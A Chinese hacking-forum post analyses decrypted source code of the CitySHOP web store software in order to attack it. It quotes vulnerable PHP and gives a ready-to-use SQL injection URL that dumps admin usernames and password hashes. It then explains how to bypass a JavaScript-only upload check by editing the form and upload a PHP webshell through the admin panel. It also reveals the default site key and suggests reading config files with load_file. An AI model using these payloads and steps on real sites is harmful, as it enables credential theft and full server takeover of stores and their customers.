|
文/My5t3ry 昨天看到论坛上有朋友问CitySHOP后台如何拿SHELL,就下了源码回来读了下,发现代码用zend加密了。 解密后读了下,漏洞还真不少,很多参数都是$_GET后就直接带入sql查询,如:
03 |
require_once ( "../libs/session.inc.php" ); |
04 |
require_once ( "../libs/include.inc.php" ); |
05 |
$conn = DBManager::getconnection( ); |
06 |
$thisid = $_GET [ 'goodsid' ]; |
07 |
$goodsowner = $_GET [ 'goodsowner' ]; |
08 |
if ( $_GET [ 'action' ] == "hit" ) |
10 |
if ( empty ( $_COOKIE [ "goods" . $thisid ] ) ) |
12 |
setcookie( "goods" . $thisid , "true" , time( ) + $hit_cookie ); |
13 |
$conn ->query( "UPDATE " . $tablepre . "goods SET `goodshit`= `goodshit`+1 WHERE goodsid=" . $thisid ); |
15 |
$chknum = $conn ->query( "SELECT goodshit FROM " . $tablepre . "goods WHERE goodsid=" . $thisid ); |
16 |
$num = $chknum ->fetch_assoc( ); |
17 |
echo "document.write('" . $num ['goodshit ']."' );"; |
上面的代码这句$chknum = $conn->query( "SELECT goodshit FROM ".$tablepre."goods WHERE goodsid=".$thisid ); 其中的变量$thisid 未经任何过滤就带入sql,而且并没有用单引号引起来,因此gpc也不用考虑了。
exp:
http://www.t00ls.net/section/goods_script.php?action=hit&goodsid=-1 union select group_concat(adminname,0x7c,adminpwd) from stu_useradmin%23
如图:
下面说下后台获取webshell: 我们看到/lovestu_manage/chk_adv.php的20-54行
01 |
if ( $_POST [ 'message' ] == "addadv" ) |
03 |
$admation = $_POST [ 'admation' ]; |
04 |
$adchicun = $_POST [ 'adchicun' ]; |
05 |
$adfp = $_FILES [ 'adfp' ][ 'name' ]; |
06 |
$adendtime = $_POST [ 'adendtime' ]; |
07 |
$adurl = $_POST [ 'adurl' ]; |
08 |
$adprice = $_POST [ 'adprice' ]; |
09 |
$adtime = date ( "Y-m-d H:i:s" ); |
10 |
if ( ! empty ( $adfp ) ) |
12 |
if ( $maxsize < $_FILES [ 'adfp' ][ 'size' ] ) |
14 |
mationbox( 2, "上传的文件超过最大限制。" , 5, "back" ); |
16 |
$fpdir = "../upload/adv/" ; |
17 |
if ( ! file_exists ( $fpdir ) ) |
21 |
$fptype = end ( explode ( "." , $adfp ) ); |
22 |
$fpname = str_replace ( "*" , "_" , $adchicun ). "_" .time( ); |
23 |
if ( ! file_exists ( $fpdir . $fpname ) ) |
25 |
unlink( $fpdir . $fpname ); |
27 |
if ( !move_uploaded_file( $_FILES [ 'adfp' ][ 'tmp_name' ], $fpdir . $fpname . "." . $fptype ) ) |
29 |
mationbox( 0, "上传失败!" , 5, "back" ); |
32 |
$adfpname = $fpname . "." . $fptype ; |
33 |
$insert = $conn ->query( "INSERT INTO " . $tablepre . "advs (`ad_name`,`ad_fpname`,`ad_time`,`ad_endtime`,`ad_price`,`ad_url`) VALUES ('{$admation}','{$adfpname}','{$adtime}','{$adendtime}','{$adprice}','{$adurl}')" ); |
34 |
$insert ? mationbox( 1, "广告添加成功。" , 2, "love_adv.php" ) : mationbox( 0, "广告添加失败!" , 5, "back" ); |
上面的代码获取上传文件的后缀名后就直接保存了,并没有任何过滤,不过在edit_adv.php中却使用javascript本地效验上传文件后缀名,下面给出利用方法: 登陆后台后,访问/lovestu_manage/edit_adv.php?act=add (广告管理=>添加广告) 把源代码其中的
修改源代码
<form action="chk_adv.php" method="post" name="advform" enctype="multipart/form-data" onsubmit="return chkadvform()">
为
<form action="chk_adv.php" method="post" name="advform" enctype="multipart/form-data">
然后上传php就行了,这里建议使用firefox的firebug插件来修改,当然你也可以直接把javascript禁用或者把源代码保存到本地修改。
ps:后台登陆时需要填网站密匙,默认为LOVESTU,保存在/libs/config.inc.php中,如果修改了的话,mysql权限大点的注入点可以load_file。
|
|
|